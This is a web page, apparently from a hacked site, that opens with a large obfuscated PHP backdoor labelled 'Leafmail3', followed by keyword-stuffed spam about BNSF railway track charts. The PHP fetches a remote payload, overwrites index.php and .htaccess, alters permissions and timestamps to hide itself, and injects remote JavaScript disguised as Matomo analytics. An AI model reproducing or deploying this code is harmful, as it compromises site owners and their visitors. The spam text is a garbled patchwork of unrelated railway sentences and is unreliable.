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<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
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<h1 class="headline">Bnsf track charts</h1>
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<span class="date article-published-at-date">Bnsf track charts. Major stations: Needles, Kingman, Seligman, Flagstaff, Winslow. Rail track segments with 286,000 lbs. fsu. Dale Parks is Vice President of Mechanical at the Aberdeen Carolina & Western Railway Company. Max Baucus (D-Mont. Sen. BNSF Railway Burlington Northern 1993 Track Profiles The track profiles were donated by John Moon. Main 1 is the north track. Most BNSF ties are wood, but concrete ties are also used. edu - 2024-08-09T00:00:00+00:01 Subject [eBooks] Full Version Bnsf Railway Track Charts Pdf Access pricing tools and information. Keeping the line alive was the Amtrak Southwest Chief, running 2 trains over the line daily, one in each direction. Major stations: Barstow, Ash Hill; Yards: Needles; Crew Change Points: Needles, Barstow SML:8895&Academiafull Version Bnsf Railway Track Charts(3) Highlighting and Note-Taking SML:8895&Academiafull Version Bnsf Railway Track Charts(3) Interactive Elements SML:8895&Academiafull Version Bnsf Railway Track Charts(3) 8. from $20. The charts are large (from 10 to 251 MBytes) and hence may take a long time to load, perhaps several minutes. R. of the opportunity (New Business Review) the customer will be provided a cost estimate for BNSF’s track and signal work. When more than one track intervenes, the number of doll arms is increased accordingly. BRACKETTED/ADJACENT SIGNALS The right-hand signal governs right-hand track, and left-hand signal governs left-hand track. 00 BNSF California Division Track Chart and TEAM Manual 2016. Team tracks are intended for occasional use for businesses and shipments that meet the criteria outlined in the Team Track Right of Entry and Use Agreement. The map image above shows just the Orin Sub. The collection contains digitized images of Union Pacific diagrams and drawings of steam locomotives; issues of "Info" magazine (1971-2000), a monthly publication distributed to Union Pacific employees; Union Pacific publications for training, rules, policies, and regulations; newsletters, diagrams and drawings, track charts, timetables, and reports; photographs, slides, and negatives of West end: Barstow, CA - MP 745. Last week BNSF opened an additional 8-mile segment of the third main between Homer and Ibis, Calif. Having been in Train Service as a locomotive engineer, he worked his way up to Chief Mechanical Officer. Signals on superstructures govern the track that they are placed over. To see the full-size image, click on the thumbnail. Worth Track Charts [WA] $ 12. [9] From the old Everett Station the main line becomes single track making a nearly 180 degree turn through a partially covered cut through downtown signal and the track governed by the signal. 1. The Chillicothe Subdivision makes numerous connections with other BNSF mainlines including the Ottumwa, Mendota, Barstow, Brookfield and Peoria Subdivisions Includes the following subdivisions and spurs: Bayard, Beatrice, Bellwood, Benedict, Cobb Line, Council Bluffs, Creston, Des Moines, Farragut, Giltner, Hastings This map includes BNSF and Union Pacific trackage between Douglas and Gillette, Wyoming. epls. 240 pages. See our interactive maps below. S. A BNSF support representative will contact you to set up and train you on the tools and reports you need. BNSF Friends of BNSF is a community for people who have a connection to or affinity for BNSF. Front (BNSF System Map Front 4-2007. What is a team track or temporary usage track? A team track is any track designated by BNSF for multiple customer use to load or unload shipments when direct rail service is unavailable. The BNSF Rail Central online tool is available to manage the incoming flow of rail cars, to order and release and to manage rail inventory. 0; Total route miles: 167. These lines are critical for shippers needing an economical solution to long-haul transportation. 00 Only 1 available Aurora, Illinois, a western neighbor to Chicago, is where BNSF got its start 175 years ago. Max track speeds vary from 90 mph for Amtrak to 70 mph for freight. com tools contact: BNSF eBusiness (Weekdays) 888-428-BNSF (2673) (Available 24/7) BNSF Gulf Division Track Chart and TEAM Manual 2016 DVD $20. Title: Full Version Bnsf Railway Track Charts Pdf Author - www. Before joining BNSF, Zak worked nine years for U. BNSF's secure customer website enables shipment tracking, bill payment, and more. BNSF Texas Division Track Chart and Team Manual 2016 DVD $20. These BNSF track charts also include many close-up maps of yard and industrial areas - like BNSF track at various mines. 00 Add to cart; 1950 La Junta-El Paso This line is double tracked for its entire length and crosses the Mississippi River between Fort Madison, Iowa and Niota, Illinois on a double track swing bridge (Fort Madison Toll Bridge). C. There is also a corresponding elevation chart on the right of the Orin Subdivision. This is a scan of an original BNSF 1998 track chart for the Gulf Division. This is a photocopy of an original BNSF 1998 track chart for the Memphis Division. Track Charts. Also included on this map; mileposts, crossovers, towns, roads, station names, junctions, and scanner frequencies. $20. 00 Includes the following subdivisions and spurs: Bay City, BBRX, Conroe, DFW, Galveston, Houston, Lafayette, Lampasas, Longview, Mykawa, NRG Spur, Seadrift, Silsbee, Sweetwater Spur. 9; East end: Amboy, CA - MP 660. 00 Add To Cart Possible violations of BNSF Policy, including use of BNSF Remote Access to access inappropriate or offensive material, should be reported to the BNSF Hotline at 1-800-533-BNSF (2673). bnsf. North Carolina Rail Map. Multimodalways - Burlington Northern Santa Fe Railway Archives - Maps. In 2023, we devoted over $700 million to expansion and efficiency projects. Please be patient. com BNSF's secure customer website enables shipment tracking, bill payment, and more. Survey on BNSF right-of-way will require the application of a temporary occupancy permit (see “Requirements Public Projects Manual Updated June 29, 2018 BNSF Railway Public Projects Team . Nov 3, 2017 · Owner BNSF Operator BNSF Line Heritage Atchison Topeka and Santa Fe Railway Subdivision Route / Mileage Kansas City – Wellington, 239 miles FRA Track Class Class 4 Number of Main Tracks Single track with sidings and double track Maximum Authorized Speed Freight 55 mph Maximum Authorized Speed Passenger 79 mph Wayside Signals Yes Jan 20, 2003 · West end: Barstow, CA - MP 745. 2005. Easily search available rates, collaborate with BNSF on rates, as well as track the progress on rates for new opportunities. System Maps. Pricing Tools Transit, Routing and Speed Tools: Get a Freight Rate. The Customer may use a designer or contractor of its choice to prepare the track plans. 00 Add to cart; 1952 Sweetwater-Temple-Ft. Your bnsf. 00 Includes the following subdivisions and spurs: Bakersfield, Cajon, Harbor, Lucerne Valley, Mojave, Needles, Riverbank, San Bernardino, San Diego and Stockton Subdivisions, as well as the Redlands Spur. Crew Change Points: Needles, Winslow Yards: Needles BNSF Nebraska Division Track Chart and TEAM Manual 2016 DVD. Onboard sensors, including cameras, lasers, radar and machine vision systems, survey the track structure passing beneath to find a variety of flaws, some imperceptible to the human eye. Engineering Instructions Revision: January 1, 2012 24 Construction 24-6 Figure 24-1. Zak Andersen was appointed chief of staff and vice president, Communications in September 2022. BNSF Railway Oct 3, 2023 · FORT 